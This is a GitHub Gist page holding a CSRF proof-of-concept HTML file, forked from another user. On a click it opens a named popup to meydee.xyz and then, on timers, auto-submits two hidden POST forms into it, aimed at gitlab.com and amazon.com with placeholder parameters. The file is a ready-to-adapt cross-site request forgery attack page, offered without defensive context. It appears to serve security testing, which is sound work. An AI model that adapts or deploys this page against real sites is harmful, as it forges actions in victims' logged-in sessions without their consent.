Skip to content

Instantly share code, notes, and snippets.

@electro0nes
Forked from MEY-D/csrf_multiple_post.html
Created July 6, 2025 23:10
Show Gist options
  • Save electro0nes/b322d64d30019d4e9ae32310b84dd1bc to your computer and use it in GitHub Desktop.
Save electro0nes/b322d64d30019d4e9ae32310b84dd1bc to your computer and use it in GitHub Desktop.
CSRF Multiple POST requests
<!DOCTYPE html>
<html>
<body>
<button onclick="run()">Click</button>
<script>
function addInput(form, paramString) {
paramString.split("&").forEach(pair => {
const [name, value] = pair.split("=");
form.appendChild(Object.assign(document.createElement("input"), {
type: "hidden", name, value
}));
});
}
const form1 = document.createElement("form");
form1.method = "POST";
form1.action = "https://gitlab.com/";
form1.target = "xxx";
form1.style.display = "none";
addInput(form1, "meydi=god&login=true");
document.body.appendChild(form1);
const form2 = document.createElement("form");
form2.method = "POST";
form2.action = "https://amazon.com/";
form2.target = "xxx";
form2.style.display = "none";
addInput(form2, "param2=meydi");
document.body.appendChild(form2);
function run() {
window.open("https://meydee.xyz/", "xxx", "width=800,height=800");
setTimeout(() => {
form1.submit();
setTimeout(() => form2.submit(), 4000);
}, 3000);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment